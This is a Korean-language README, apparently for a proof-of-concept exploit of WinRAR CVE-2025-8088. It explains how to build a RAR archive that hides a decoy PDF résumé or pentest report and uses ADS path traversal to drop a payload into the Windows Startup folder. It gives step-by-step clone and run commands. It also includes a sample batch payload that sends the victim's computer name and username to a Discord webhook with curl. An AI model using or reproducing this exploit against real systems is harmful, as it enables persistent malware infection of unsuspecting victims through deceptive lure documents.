CVE-2025-8088 WinRAR Exploit 🔓

WinRAR 취약점(CVE-2025-8088)에 대한 개념 증명 익스플로잇으로, 버전 7.12 이하에 영향을 미칩니다. 이 도구는 경로 탐색을 통해 Alternate Data Streams(ADS)에 페이로드를 포함하는 악성 RAR 아카이브를 생성하여 잠재적으로 임의 코드 실행을 유발합니다.

• 다른 많은 익스플로잇들의 문제는 여러 ADS 스트림을 포함하지 않아 올바른 경로 탐색이나 정확한 사용자 이름/추출 디렉터리를 알고 있어야만 작동한다는 점입니다.

🚀 작동 방식

1. 유인 문서 생성 📄 - 전문가 수준의 PDF(이력서 또는 침투 테스트 보고서) 생성
2. 여러 ADS 스트림 포함 🔄 - 다양한 경로 탐색 깊이로 페이로드 스트림 첨부
3. RAR 헤더 조작 ⚙️ - 경로 탐색 취약점을 악용하도록 아카이브 구조 수정
4. 시작 폴더에 페이로드 드롭 📂 - 추출 시 Windows 시작 폴더에 페이로드 쓰기 시도

🛠️ 사용법

# 저장소 클론
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088

# 의존성 설치
pip install reportlab

# 익스플로잇 실행
python CVE-2025-8088.py

✏️ 페이로드 사용자 정의

Discord 웹훅을 호출하도록 페이로드 편집:

# 스크립트의 PAYLOAD 변수 교체:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

YOUR_DISCORD_WEBHOOK_URL을 실제 웹훅 URL로 바꾸세요.

🔄 실행 흐름

1. 피해자가 취약한 WinRAR(≤7.12)로 RAR을 추출
2. 페이로드가 시작 폴더에 기록됨:
   root@kitploit:~

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. 다음 재부팅 시 ➡️ 페이로드가 자동 실행

📋 요구 사항

• Windows OS 🪟
• Python 3.x 🐍
• WinRAR 설치됨
• ReportLab 라이브러리 (pip install reportlab)